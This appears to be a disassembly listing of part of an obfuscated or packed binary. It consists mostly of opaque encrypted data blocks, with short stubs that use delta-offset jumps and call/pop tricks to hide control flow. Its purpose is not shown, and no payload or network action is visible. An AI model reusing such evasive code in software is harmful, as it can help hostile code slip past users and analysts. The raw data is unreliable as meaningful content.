0F1C35040h, 8B66F38Bh, 8595FFF0h, 6A07E922h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 9F66C352h, 0CD5FD54Dh, 89197A46h, 0E90FE19Dh dd 0FF006A07h, 0E90C3195h, 0EBC08B07h, 7E53F428h, 524C933Bh dd 2DAEBEB7h, 98D404E1h, 0E695FDA3h, 0B2DC8BCh, 89BB8DD5h dd 7F7CF378h, 920A2C9Fh, 2BF8DFFCh, 0AE8E2h, 36F60000h dd 350AE1FBh, 13F7AE28h, 9DF1E081h, 665F1E10h, 3AE1F281h dd 6196C781h, 0B5890000h, 7E91C15h, 6660DB2Bh, 0A710DB81h dd 2DDDB58Bh, 8B6107E9h, 8D8B1F34h, 7E9354Dh, 0BB49C681h dd 0F516DD3h, 186h, 815AFC00h, 67DBAFEEh, 12E95Fh, 0A1350000h dd 0FE73485Bh, 74DE9829h, 0A1AC8B9Fh, 337A42Ch, 7690C681h dd 0BF0F6273h, 816656C8h dd 8F9332E9h, 98B81F04h, 837966F5h, 35604EBh, 0E92AED8Dh dd 0FB815907h, 0FFFF9F1Ch, 14850Fh, 958B0000h, 7E906F5h dd 17E9h, 8045DC00h, 82C1BE20h, 0E6806727h, 0FF81E94Fh dd 0A53FFFFFh, 4B10A967h, 871D8D8Dh, 6A07EEh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 527A09C3h dd 13E825h, 0A2DE0000h, 2F8365E2h, 0D06E90BDh, 9DA2BB90h dd 0C14C38h, 0C185897Dh, 5F07E921h, 320D8D89h, 820F07E9h dd 6, 235BD0Bh, 85C707E9h, 7E922E5h, 5D08h, 0CF7EFEBAh dd 0B185C753h, 7E922h, 89000000h, 0E91B1995h, 1DB5FF07h dd 6A07E90Eh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0BEC1C357h, 9579FF0h, 0E91BB995h dd 3D958907h, 0FF07E920h, 0E9228595h, 55006A07h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 315D9F36h, 0E92DB98Dh, 74BF6007h, 61753548h, 95FF006Ah dd 7E90C31h, 6AEBC08Bh, 0C0E39E06h, 0B27F3979h, 84289BD2h dd 7F99A25Fh, 0B5B3E6D2h, 0D2DF96A9h, 3B7A5886h, 0AEDDA1DFh dd 7599D892h, 5A7F51EEh, 0E3E1F264h, 54EECEEDh, 7B759478h dd 0C95CA2C8h, 686906B3h, 960D29CDh, 79A334DBh, 799DBD0Ah dd 0C5035A3Ch, 7DCAE7Fh, 9DE6541Ch, 1CADE154h, 174CA6FAh dd 0D39DDF87h, 435EBF86h, 0C0D77906h, 9E82C6Dh, 0B2000000h dd 0F88D40D9h, 1D38B4E9h, 0E758589h, 0F5B07E9h, 686h, 0B0D08100h dd 8120969Dh, 65C9C3h, 61DBBA00h, 687030h, 29000000h, 0E9320995h dd 8B0F5E07h, 3, 0FFCEB70Fh, 0F0811E34h, 6BD3CA6Bh, 3CB5515Fh dd 52C7815Ah, 8B540905h, 0E907958Dh, 0D5EF8107h, 8B2E883Ah dd 0E917C58Dh, 4EF78107h, 891659D6h, 0E90EE595h, 333C8907h dd 7E9h, 684EAC00h, 42957138h, 7E9h, 0D6E37400h, 839A1449h dd 8903EE83h, 0E910AD85h, 0B70F4E07h, 14FE81C0h, 0FFFFF9Bh dd 2085h, 10E900h, 4F3F0000h, 32C99D8Dh, 0DAB2779Eh, 8E3B6BC8h dd 25E93394h, 0E6000000h, 0C0802570h, 619523BCh, 0E907E90Ch dd 0FFFFFF6Fh, 309D2AADh, 1D7251EBh, 0C5E0D3B7h, 40045D3Eh dd 0E9116BCEh, 512A786Ch, 12A11EEh, 0C2723203h, 256E9BD9h dd 256E93C4h, 12A0464h, 0C27A5230h, 30B364A4h, 0E8080F91h dd 0D9A67401h, 0E97A1269h, 12A1282h, 59E94AE0h, 50E56E9h dd 50E56B1h, 12A1205h, 3E9424Ch, 0C61C443h, 601E933h, 489F99A4h dd 0A92DFBF4h, 0DDAE1D64h, 802A1231h, 0EF6D4BF7h, 0A0B79B25h dd 822DFB20h, 0E83C07BEh, 85251286h, 12A1290h, 0E979120Ah dd 12A1233h, 5AE94938h, 50E4E85h, 50E5687h, 12A1214h, 68E941C2h dd 0BB8A6D77h, 15ADB40Eh, 12B88D9h, 562A7818h, 12A11E4h dd 0C2753206h, 25569B5Ch, 256E9385h, 12A0BC4h, 0C27D5560h dd 9E2D67C8h, 0B4A19B3Ch, 6C30C65h, 8A4C7256h, 604B72C5h dd 880E1608h, 0E83DFF7Dh, 4D2B1D67h, 0B4A3EC14h, 6C33159h dd 2DEA9154h, 0E97A126Ch, 12A1200h, 59E94AA1h, 50E5649h dd 50E56E1h, 12A1224h, 0E0E94258h, 12A1DE4h, 845A9406h dd 93459126h, 89B160AEh, 4D47F26Bh, 2E5B8F4Bh, 8A7515D9h dd 572A7810h, 12A11E4h, 0C2743206h, 255E9B5Dh, 256E9385h dd 12A07C4h, 0C27C5460h, 979D790Fh, 0FD62997Eh, 0E97B1266h dd 12A1205h, 58E94B23h, 50E5E08h, 50E5641h, 12A1278h, 0A4E94371h dd 39A14902h, 225FAF85h, 804C15EFh, 0ED5243Ah, 12AA105h dd 0CC9799C0h, 0E2DFB7Eh, 12A14B0h, 64979B18h, 822DFB39h dd 1401BC7h, 129FA53h, 590A1281h, 45A34A03h, 45AB1644h dd 1321614h, 516A1218h, 360A1DCFh, 38AA9329h, 89AF1DEAh dd 802A1281h, 445BB116h, 6B9904h, 0E979125Ah, 12A121Bh dd 5AE9492Ch, 50E4E8Fh, 50E5682h, 12A1296h, 0F2E94183h dd 0BFD1A2EBh, 64CCDB26h, 140DA1Bh, 129FA5Eh, 5B0A1206h dd 55A348C0h, 45AB16A5h, 13316E4h, 53681260h, 0C9070DF3h dd 67A7AC2Ch, 0FBA1C187h, 0E82FD385h, 12A120Fh, 0FAF70E9Fh dd 4EF71A86h, 1FFE005Bh, 4ABA2BB1h, 8425995Bh, 12A121Fh dd 4C709F8Bh, 29215EAh, 0FE2A1281h, 0C3E59321h, 6006D9B7h dd 0E97B125Ah, 12A121Bh, 58E94B2Ch, 50E5E8Fh, 50E5682h dd 12A129Bh, 39E94381h, 0EA712809h, 94A1F622h, 6C31071h dd 8958AF81h, 8CA715E8h, 6C498EDh, 93A96639h, 0D0AF21C1h dd 2A2DFB79h, 3C3D3FFh, 512A786Ch, 12A11EEh, 0C2723203h dd 256E9BD9h, 256E93C4h, 12A0464h, 0F305E983h, 29C08BA4h dd 0E91E0D9Dh, 0BD958907h, 3107E90Fh, 0E9252D95h, 8DC38B07h dd 0EE8C0C8Dh, 8E96007h, 44000000h, 0F2BEB361h, 61E09FA3h dd 320D8D89h, 6A07E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0BF0F59C3h, 0E585C7C3h, 0DC07E922h dd 6A000065h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 0DB3DC351h, 0F353495h, 68Ah, 75BD8900h dd 0C707E930h, 0E922B185h, 7, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0B77EB792h dd 9ADBD89h, 0B5FF07E9h, 7E912D1h, 17019531h, 7E807E9h dd 39000000h, 87B9AE32h, 9D8BF701h, 7E91339h, 8595FF5Bh dd 6A07E922h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 8A93C355h, 6AF501AEh, 3195FF00h dd 8B07E90Ch, 6119EBC0h, 5B3F87B7h, 0B2B49B3Eh, 19DBC189h dd 6AE2D934h, 71941453h, 259E70B9h, 27E9h, 0D5B71C00h dd 14h, 8 dup(0) ; --------------------------------------------------------------------------- jmp loc_5DCF3B ; --------------------------------------------------------------------------- db 11h, 0FAh, 7Ah dd 0C7B559FBh, 126C822Eh, 63E13163h, 0A9D366D2h, 27939404h dd 69CB6A12h, 9F39B438h, 0C36D0078h, 0C1A64F29h, 38ECACE5h dd 1624286Eh, 5527C894h, 0DC782F9Dh, 4E4E43C5h, 0C6305CC5h dd 0ECF64EDCh, 69B5C768h, 113B9F5Bh, 1E339F67h, 0D765D75Eh dd 0A54B13A5h, 0B1790BDBh, 0B9BB517Dh, 0B7C56965h, 2FCE626Fh dd 882557E5h, 0FC710B2Ch, 61BDBF50h, 8075CE67h, 6B109001h dd 0A200305Ch, 744C6A0Bh, 8B0918BCh, 0A03A44BBh, 5CA6B1F1h dd 0E0776330h, 0C22E0A98h, 3646E91Bh, 4BFF1DBFh, 790BDBA5h dd 60F551EBh, 8D678813h, 982EF72Ch, 9E66E43Ch, 0F6F02C04h dd 0F465255Ch, 5E56305Bh, 583FEB85h, 0D31F8509h, 5CA39732h dd 7CD87630h, 4143A3D9h, 2F0B7185h, 7F91AC3h, 67843102h dd 76h, 0D6A04A43h, 0C515970Eh, 0FE12305Ch, 0E042825Fh dd 1BC8430h, 6000000h, 46C4DC78h, 662ACEEAh, 5351AD2Fh dd 73A32BBDh, 0DBE539F1h, 419DDF73h, 2FC3F743h, 7021BB4Dh dd 305CC530h, 3A76C2E0h, 0E332869Eh, 4673D361h, 8CEE0CC8h dd 86AA32B0h, 5E9A28F4h, 0B5598B32h, 26B02EC7h, 5CC52B6Bh dd 73BFE530h, 0A5FDB547h, 0C52E6E23h, 0BCE6305Ch, 3ECCD62Eh dd 0DC7813B7h, 0E5FF47C5h, 45ADCF61h, 64B8BC51h, 6EB6C468h dd 1ECA739Dh, 40EC81FBh, 5874C8AAh, 4078C4B6h, 7DD91DBCh dd 77549CD8h, 8430DA7Dh, 7EF9h, 0A74AC900h, 0AB4D09D5h dd 0AB410DD1h, 0B35975C9h, 0BF517DC1h, 46361BDh, 24A151F8h dd 30B2E26Ah, 0F61AD6ECh, 0FB789D57h, 54EA16E3h, 59FE5E1Bh dd 0B01C9127h, 0DD9CD89Dh, 0D9D7DB81h, 0C7DFFB4Bh, 42BB345h dd 621DA874h, 0A930B71Eh, 8A48C22h, 0FD7554Ch, 0DD15343h dd 0ED0DAC40h, 0F320C975h, 84311B01h, 527Dh, 0A74A4500h dd 0AA4D09D5h, 7D9772D2h, 770528DCh, 0A6D679E5h, 4AC3474Ah dd 1C62D3A6h, 0F12E272Bh, 26B4C055h, 7B36C0DEh, 305CBD3Bh dd 6263CFD5h, 305CBD47h, 0AB4BF206h, 4A9D8411h, 49AD398Ah dd 5C585858h, 0EEAB830h, 314D43BDh, 1A384h, 4A070000h dd 0B4ECA4h, 68FE8CEEh, 0B04147DEh, 5C6AD2D4h, 0DE7C5894h dd 292F409Ch, 0C8B24480h, 0FB1DB925h, 0CB27BD81h, 0FA8C1B16h dd 0B4E98C87h, 24F8AA37h, 66F082A8h, 7172ECCFh, 8068F46Ah dd 0EC25A13Dh, 6148068h, 0B7F9A874h, 9D2872D6h, 5620CA78h dd 9E66F48Eh, 9D61E332h, 0DB27C6CEh, 0C50FAEA2h, 0CA84537h dd 4B08CEEh, 58F284F6h, 72D76929h, 31F9AB28h, 47E62EFDh dd 600D6F8Dh, 1ACDE123h, 688E568Ch, 3887DA16h, 23000001h dd 5D54EE78h, 305CC55Dh, 0FCBCEDB7h, 14305CC4h, 6C8FA28Eh dd 713061FBh, 0A137B59Ah, 85972303h, 3CDE7AFBh, 0E2CA842h dd 6C68846Ch, 9B50ACCEh, 0FA10D475h, 744CF578h, 0B98C1A0Bh dd 0A07CF81Dh, 99198822h, 7B2873A5h, 27ACC129h, 36000000h dd 9B2DBAB3h, 5CC4C6E6h, 88544EB0h, 5CC49919h, 0A9507CB0h dd 60FA7186h, 5CC59131h, 8C218330h, 0C23Bh, 0A0B34B00h dd 0FB89EB01h, 94B53061h, 5F0737B5h, 677DC1BBh, 0C8B9E78Bh dd 287393C8h, 32C45A48h, 0DB2D329Bh, 0A8049E11h, 7123BA3Dh dd 3B77C30Dh, 23357D9Fh, 6EFF8559h, 35155B00h, 3CB147CCh dd 24F87A90h, 73B6607Dh, 8AF41A28h, 85071EBAh, 51F81CB9h dd 39E0F4A1h, 79136D8Fh, 0E076C4DDh, 0DD20089Eh, 28CE6F8Ah dd 66F48E56h, 2A30DDD4h, 47623066h, 0AB4F8CF7h, 96EC44D1h dd 0B814E87Eh, 0BC56E092h, 8553C5C5h, 20514F20h, 20855460h dd 945CF2B0h, 97DB7C58h, 9E24F880h, 88983408h, 0D167E53Ch dd 0B756BE0Dh, 15B4D84Bh, 0E980F2Ah, 547D3D74h, 0D972085h dd 21CEC325h, 6D2877C8h, 0B304BE37h, 8A537A0h, 89AEE999h dd 47A18920h, 4E409D4Ah, 53B3F138h, 0AABD567h, 0CDC48CAEh dd 5B65B94Fh, 8D245DF3h, 2A569ACCh, 0CCD62EBCh, 0E9F76564h dd 0C25C1B13h, 27AC162Bh, 0DD153C1Bh, 3EDC08B1h, 0EF01F3Bh dd 0A1372023h, 0E88AA00Ch, 0EA68B814h, 3AE3E51Ah, 63126C8Eh dd 85591B31h, 0AD2h, 688C4800h, 78B03212h, 4AF6544Ah, 430FD7A1h dd 5B77CFA9h, 5C78C4B4h, 537FC745h, 6A66BEBEh, 6D69B5C7h dd 636FB735h, 6753B3CDh, 5E55A9D3h, 81E68956h, 4C6h, 4EE8300h dd 8B243487h, 0EC832424h, 243C8904h, 81E68956h, 4C6h, 4EE8100h dd 87000000h, 895C2434h, 0D6BF2404h, 8165747Eh, 0CF393FE7h dd 0ACF8118h, 0F766B978h, 0BAB850D7h, 319EEC0Bh, 876858C7h dd 8900007Bh, 4812424h, 424h, 0BF685800h, 89000056h, 408F243Ch dd 2434FF08h, 4C48358h, 51243C8Bh, 0C181E189h, 4, 4C181h dd 0C870000h, 47E95C24h, 80FFFAEAh db 3Eh, 52h, 21h ; --------------------------------------------------------------------------- loc_5DCF3B: ; CODE XREF: sdfs____:005DCA10j mov eax, 7EE90F6h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 49852E7Eh, 761F8E7Dh, 3D4C60F0h, 63B2CDC4h, 726F7B7Eh dd 3A3155A6h, 6D90E388h, 78B9D4Ch, 69B32CB1h, 79CE66CAh dd 0B0E9h, 8C666000h, 4C2F6DAh, 0C850Fh, 853B0000h, 7E92669h dd 36840Fh, 853B0000h, 7E916B5h, 2A840Fh, 853B0000h, 7E9347Dh dd 1E840Fh, 853B0000h, 7E91975h, 12840Fh, 0BD830000h, 7E91C01h dd 5840F01h, 0E9000000h, 5Fh, 5203D08Bh, 88BA8B3Ch, 8B000000h dd 0C985784Ah, 49840Fh, 0C2810000h, 0F8h, 30C728Bh, 1C598BC8h dd 314518Bh, 850B8BD8h, 10840FC9h, 3B000000h, 17820FCEh dd 3B000000h, 0F830FCFh, 83000000h, 0F4A04C3h, 0FFFFDC85h dd 0DE9FFh, 9D8D0000h, 7E94D5Ah, 5B8h, 61E3FF00h, 0E8D00BC3h dd 14h, 3A5A340h, 0E9EAF33Eh, 0EEF2CBB6h, 1F250990h, 0AFB65525h dd 19F4D781h, 53597708h, 0C1815FF5h, 6A2Eh, 1A6068h, 0DF8B6600h dd 9E85Ah, 9DCD0000h, 0B47DDA89h, 52B703ECh, 58F8B70Fh dd 0E831FF58h, 0Ah, 0F5D8BFEh, 325DF423h, 0BD23EECAh, 7E90A89h dd 95295E5Bh, 7E93455h, 0C7C1C681h, 0BB663199h, 0F6810FEDh dd 99B3DE1h, 779BD8Bh, 0F68107E9h, 0E9AC90h, 68D0F56h dd 89000000h, 0E90B619Dh, 0E9018F07h, 0Ah, 25910D92h, 2ED2F797h dd 0E983776Ah, 0FD858B04h, 8107E91Ch, 1EAh, 92850F00h dd 66FFFFFFh, 8D8DC68Bh, 7EE93B7h, 320D8D89h, 0B86607E9h dd 85C74356h, 7E922E5h, 6C7Ch, 0AE8h, 4AB34D00h, 0E3B58D57h dd 0BA29061h, 0E908FD9Dh, 85C75807h, 7E922B1h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5DD11F and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DD11F proc near ; CODE XREF: sdfs____:005DD117p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5DD11F endp ; --------------------------------------------------------------------------- sbb eax, 8B2B13D6h mov ch, 41h psubsw mm0, qword ptr [edi] push dword ptr [ebp+7E93151h] call dword ptr [ebp+7E92285h] push 0 push ebp call sub_5DD150 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DD150 proc near ; CODE XREF: sdfs____:005DD148p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5DD150 endp ; --------------------------------------------------------------------------- dd 6BE22074h, 472F6DD5h, 6ABC1Eh, 0C3195FFh, 0C08B07E9h dd 927148EBh, 0D5B56731h, 3893A797h, 5523BE72h, 585DAA84h dd 8C4EE81Bh, 0C3CC8826h, 0CFC89E1Dh, 0DCEF76AAh, 97738FF6h dd 5B395D25h, 77F22A60h, 0D8AB80F6h, 3E7E0C58h, 0ACCBB840h dd 48F295E1h, 0E8F01160h, 855EA9CDh, 95E9E4C3h, 0C4000000h dd 575D4FB1h, 6F646E69h, 58207377h, 68432050h, 656B6365h dd 75422064h, 20646C69h, 69766E45h, 6D6E6F72h, 20746E65h dd 6570202Dh, 74206C72h, 2E747365h, 6C70h, 17h dup(0) ; --------------------------------------------------------------------------- jmp loc_5DE108 ; --------------------------------------------------------------------------- push 7EE9633h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EE96F5h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EE98C2h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EE9901h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EE99F6h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EE9A8Dh jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EE9E81h jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EEA0BCh jmp loc_5990C8 ; --------------------------------------------------------------------------- push 7EEA190h jmp loc_5990C8 ; --------------------------------------------------------------------------- db 0B2h dd 0A1108E5Ah, 973AA064h, 8948567Eh, 0FD5C4A8Eh, 0C9677F9Fh dd 0C90D0B67h, 0FE2660D1h, 0ED3551E0h, 9D4D44F5h, 51DAAE05h dd 0A92E18EBh, 0EA7AEAAFh, 2E18DB41h, 0E13E9FA9h, 53E5FC3Dh dd 6E88584Fh, 0C6DC0C03h, 0D4C4DA6Fh, 289D925Fh, 0AFCB08A9h dd 566C40E8h, 0FF70B99h, 0FFCC7383h, 43410013h, 61786783h dd 3804h, 16535800h, 0C1801080h, 0F9E600C4h, 9F1479E2h dd 556A928h, 0C06C0797h, 5F99566Ah, 27A73A6Bh, 655BFCCh dd 0C3C7B9Bh, 0DF9955F2h, 9FF743A3h, 0CB14004Bh, 0CEh dd 0DB584F8Dh, 3F84EC50h, 0D2CDACA1h, 0A6E7EC0Eh, 48E37361h dd 0A13F84E4h, 0CA4C57A4h, 7765A9E7h, 0F416BAD6h, 5F22D4CFh dd 137E9848h, 48F47FFCh, 0A13F84h, 8F14B2F3h, 0A13F896Ch dd 8E14C4DBh, 5BC16AFAh, 1FA13F7Fh, 7BB864BEh, 6EBAD160h dd 0BA2CB90Ch, 6D069626h, 0A13F7FBFh, 0E70DD932h, 0AD640D94h dd 87A92891h, 0ABE56474h, 73E27863h, 7BF0E0F6h, 0A142459Fh dd 0BD1C8CCFh, 0AC2DBF5Fh, 241A575h, 504E0387h, 8571F38Ch dd 0DEF82E00h, 0C4737h, 0F4247C00h, 0EE2E6BEEh, 9C4841F0h dd 0B058B306h, 0A569A72Ah, 319D873Dh, 26AB33D3h, 17BA20ECh dd 0ACFD7FBh, 60DFC713h, 1B250BA0h, 0D0E5A92Eh, 8D514F74h dd 0BD6DA415h, 16539125h, 2263A7E2h, 9F5805AEh, 4192A928h dd 6AC67625h, 7D819956h, 0D2E90D89h, 0A19113FFh, 37000000h dd 0CA84584Fh, 0D1E9567Bh, 0A9081253h, 484FAB6Bh, 0A13FFAAFh dd 0D8338198h, 66EBF330h, 2687E32Fh, 169D0FA1h, 0A929031Fh dd 123EB5F5h, 0D69956DFh, 0E75E4485h, 0FD5C4C62h, 0D71C7EA2h dd 43AC3CCCh, 8E2A0CB8h, 33DB34B9h, 30ABE8D7h, 42713EABh dd 5D4F8CA1h, 607E9EFCh, 6E13B3D1h, 2E00D7C8h, 85E87593h dd 0BA00000Bh, 0A928B662h, 9F32A86Ch, 0F1405E86h, 0E5547296h dd 0C17F67A7h, 0F115735Fh, 0E62E68E9h, 953D59F8h, 85554C0Dh dd 49E2A61Dh, 0A92E1AE3h, 4FB612A7h, 0A4158D51h, 9125BD6Dh dd 6E88584Fh, 2309A232h, 0E7A13F85h, 574E0D94h, 25A2138Bh dd 578A21B3h, 0B5A928B3h, 0E55744A6h, 0E4995655h, 0BE0367A7h dd 0AF5DB965h, 58B951B5h, 2272C026h, 5613FFE7h, 7, 8478B0Eh dd 53290000h, 80108016h, 3F8445EBh, 0EBF605A1h, 0CB62CD5Dh dd 0A74F19D6h, 2E7FE4FFh, 34A928BDh, 0ECFC327h, 64D3CE12h dd 5FEFFD2Dh, 565A68D4h, 45DF2099h, 0F238F12Bh, 0CC465D82h dd 0A0CA160Dh, 99B96BEBh, 0B72F5100h, 0E4E22E65h, 88923E55h dd 11731A03h, 43A3E732h, 7866B2E9h, 8216C2D9h, 0A0C512ADh dd 77124FAAh, 0B41D088Fh, 2D7D3210h, 0CFC973ACh, 0BFFCE307h dd 918D145Bh, 5BB71675h, 756C53B7h, 9B03CFC6h, 3551DF36h dd 0CD9759E1h, 3B789B26h, 2D67E6FAh, 38428A83h, 3190FA3Bh dd 0E7EC0EDAh, 0EADB3BA6h, 0AD93185Dh, 6D32117Eh, 30BB296Eh dd 39FAA1CDh, 28149F0Fh, 0C72A285Dh, 9CF0F9A6h, 0A7B4DC7Ch dd 182B7866h, 706076F3h, 0FE2A61E0h, 0A74C579Ch, 3210C5CEh dd 12FC4E4h, 0B9223E79h, 169D75BAh, 4F5A19h, 0D07CF787h dd 88442D97h, 0E425ED29h, 930542FDh, 8A1E2E01h, 0A9FE77D2h dd 2439B232h, 0BE4C16E4h, 0BADC041Fh, 95E62EB5h, 0A2CE2171h dd 44A0F6D7h, 992E8118h, 91E9507h, 1F4431E0h, 100DCCDCh dd 0F657D5CCh, 64A1209Fh, 0A1052BA0h, 91E23458h, 0BB5ADF89h dd 62A3B0D8h, 12BED564h, 328FBF91h, 0E580AE4Dh, 9B8h, 5D45958Dh dd 677F9FFCh, 756DB9D2h, 9901C9C4h, 0AC3ADA38h, 42402C36h dd 5BB50482h, 6AA62BB3h, 829938A6h, 11934856h, 2E1CB69Ah dd 852772A9h, 0F788584Fh, 0DE2B940Bh, 7955F01Eh, 4E000009h dd 0BD1C8A56h, 9326BC60h, 8534527Ah, 0F958468Ah, 0F5637B9Bh dd 0C509076Bh, 0FA227CDDh, 0E9316DECh, 994940F1h, 5DD6AA01h dd 0A92E1DEFh, 4F42EEABh, 36E8858h, 49D9C105h, 650FD7E6h dd 2FBA9B28h, 2DBA6162h, 0F38229BBh, 79A92924h, 0EFA979B6h dd 4153DE03h, 570186AAh, 0AA314299h, 83A94262h, 47995701h dd 901FF734h, 5B145B6Dh, 0A8776DFAh, 0D2B31A15h, 73BC2C6Dh dd 5FB30B3Fh, 4841F54h, 10BCD574h, 49D2C9F6h, 0DF8330F4h dd 0EE366FEEh, 0ECC20DF3h, 13E93886h, 0C3821657h, 0FBF802CAh dd 125716E0h, 90670C9Ch, 0A6D79D94h, 0F53ADA37h, 9FF657E7h dd 66CA6173h, 22C7C454h, 140BCAD1h, 55301C97h, 0B4CFC7C4h dd 0DDF9064Bh, 0E52A2943h, 21938F7h, 67311F94h, 0EAE9C7C4h dd 6324B9A9h, 27A2E327h, 2BF72EA3h, 0AF10F256h, 0C26B75F8h dd 884h, 29B161B9h, 33AB6BA8h, 4159859Eh, 554D95F0h, 7866A6E4h dd 0E0C60C2h, 2761D0CEh, 3652E7FFh, 4E45F492h, 0DDAF0482h dd 2E1DEA56h, 49EBAEA9h, 15C5DF7Eh, 86006792h, 95F1369Fh dd 8D8433AEh, 0DC3EE63Fh, 5C345697h, 637EA2FDh, 8A10B8D4h dd 3FC29FEDh, 579CEA1h, 0B4A7C30Bh, 43F37A41h, 155A9B24h dd 5C49EC87h, 0FB8BA92Eh, 5133CC70h, 0F42D8C99h, 4081CE28h dd 30A0B359h, 30AE7A91h, 3C5E8A81h, 73973755h, 552EF22Eh dd 263A3BFDh, 0EDDB628Ch, 0C2000007h, 31801ECAh, 27AA30D4h dd 19B826EEh, 0DCCDAFEh, 79D7CF0Fh, 597D9BF7h, 4E96F041h dd 7DA5E150h, 6DBDD465h, 0A14ADE75h, 0A92E1E7Bh, 4FDE7A3Fh dd 36E8858h, 63CCDC0Ch, 5FEA1238h, 1CFAE155h, 0F527DFC3h dd 0A5C57E9Eh, 0D2996C7Bh, 3A5AF5EDh, 0C90C167Ah, 9880266h dd 3FEFBE62h, 34797AA1h, 0D0C7583Fh, 0B8F9E600h, 0BED8FC19h dd 0B67D2AB1h, 13000004h, 10801653h, 2E18BE9Bh, 7D6F6CA9h dd 8D15C5DCh, 98405CFDh, 0D234E039h, 125BF6EDh, 62057294h dd 0C512BD5Dh, 9AE703CBh, 27305A7Eh, 7C703E3h, 27FC933Fh dd 0C2FC1D42h, 6D7E9624h, 4AEA8D71h, 0A2000000h, 0B801B17Eh dd 876F1FD5h, 8E28A11Ch, 0CFCB8A1Ah, 250B900Bh, 9DA14014h dd 13BA660Dh, 717EA140h, 38E2866Ch, 504B8897h, 484FABA8h dd 0C1A75E24h, 48B3536Fh, 5F4A8E89h, 7D9F96FEh, 7C22Ch dd 8B9A0000h, 194h, 9C1A5329h, 0F15A3D7Ah, 738F1AABh, 24EF0793h dd 249B8583h, 3D000000h, 7A9C1A53h, 0ABF13B3Dh, 7492AC1Ah dd 8320CE26h, 90925D85h, 30D21C1Bh, 0E2227F42h, 7C8EE7h dd 53C60000h, 4D0C9C1Ah, 94148F4Fh, 3F85311Fh, 14EAE9A1h dd 0BAA36BDBh, 6FDD56E6h, 2BA13FC7h, 0A95DB128h, 43878342h dd 0CA13827h, 0C1671E8h, 4990h, 1A533400h, 524D0C9Ch, 24F42B8Eh dd 86069DC2h, 3F8441EDh, 91FEFDA1h, 8DACDC13h, 88D91018h dd 0C3715011h, 89ED29DDh, 160C177Bh, 55B15DB7h, 1312736Eh dd 4A000000h, 15C5DF7Eh, 7D09749Dh, 158CCDE9h, 0DF62h dd 938B0600h, 29000000h, 7A9C1A53h, 8FC8663Dh, 0C6297BF6h dd 0AF74A120h, 58B615DEh, 15F12DB4h, 67367D99h, 5FED61h dd 53A30000h, 670C9C1Ah, 0A13F84B9h, 874F4809h, 9F657C63h dd 0EB7D3A5Ch, 7CC15FB1h, 0AE72AD2Ch, 6CE40B4Ch, 2FD2BDB6h dd 4D4CBEEh, 8E6FDE2h, 464450DEh, 20342C37h, 68000000h dd 0C9C1A53h, 3F84B967h, 186271A1h, 5FB1C993h, 0C620420Eh dd 36E12C48h, 75C79h, 8B700000h, 58h, 88584F29h, 8500296Eh dd 0B3CBA13Fh, 16C2D953h, 1A53CC88h, 8AF6779Ch, 3C8660A6h dd 0A13F924Ah, 109B2BB9h, 0A13F782Ch, 58A26EA5h, 0E7E2F11Bh dd 16C12F46h dd 0FF465B0Ch, 8B7DFFFFh, 2ADh, 1A67D21Dh, 0D5F569D5h dd 2D66463Ch, 1783A637h, 0DB57CB7Ah, 490B96D7h, 2C2DF7Eh dd 51E0FBF8h, 148CEE3Ah, 2CB757B5h, 3CAA76ADh, 3E524481h dd 435E869Fh, 9DA32EC5h, 8919A928h, 566C3EE2h, 0B8F9FA99h dd 39B2425Eh, 99566C13h, 6C1804AFh, 83D09956h, 0EA7F6A69h dd 99566B42h, 0AE0DF905h, 0B32EF62Fh, 0FFCCFA1Ah, 0CFC88913h dd 72EB9C07h, 0AD000000h, 0D745EE7Eh, 93A13F84h, 84B49813h dd 6774A13Fh, 0C300BB26h, 2929C021h, 404C9E82h, 0D4195AA1h dd 6E05DEEEh, 0A14001C2h, 0F7347586h, 1C234EE5h, 1A59A929h dd 0E421A0F0h, 43804442h, 38A13827h, 9956E810h, 0D9377D99h dd 0AD92D135h, 0EB2B6849h, 27DFE18Fh, 0A3227697h, 1447A367h dd 4B489DDCh, 990D17Fh, 51A5F115h, 3913FEDAh, 0D8h, 88584F5Fh dd 0C105036Eh, 77C5DCA5h, 0AD92F41Ch, 70A70A6Ch, 84D478F3h dd 4794A13Fh, 475D9206h, 0C9EFF36Eh, 0AA76F463h, 92824869h dd 13F473F7h, 74A13FACh, 7EDFCD1Dh, 1A06AD22h, 0DEA13FA3h dd 0A74C5C9Dh, 0A13FA279h, 23A72231h, 8E8B509Fh, 0F0C4421Dh dd 0B2FFCC61h, 0CDC99C39h, 62DDC405h, 250BA0E5h, 0E5A13FE8h dd 0A8435196h, 0A92BBCBBh, 7BDACE0Dh, 61E1F91Dh, 12F65AD1h dd 0C3B29954h, 0C4DF1CCCh, 0AF71775h, 263F1AF2h, 0F9BA436Dh dd 0CE000003h, 3D9C0AD6h, 13A63CE0h, 5B4D2FAh, 79D8C60Ah dd 75E3FB1Bh, 458987EBh, 7AA2FC5Dh, 69B1ED6Ch, 19C9C071h dd 0DD562A81h, 0A92E226Fh, 4FC26E2Bh, 95158D51h, 40A3D45Ah dd 0B12889B0h, 64BD0B02h, 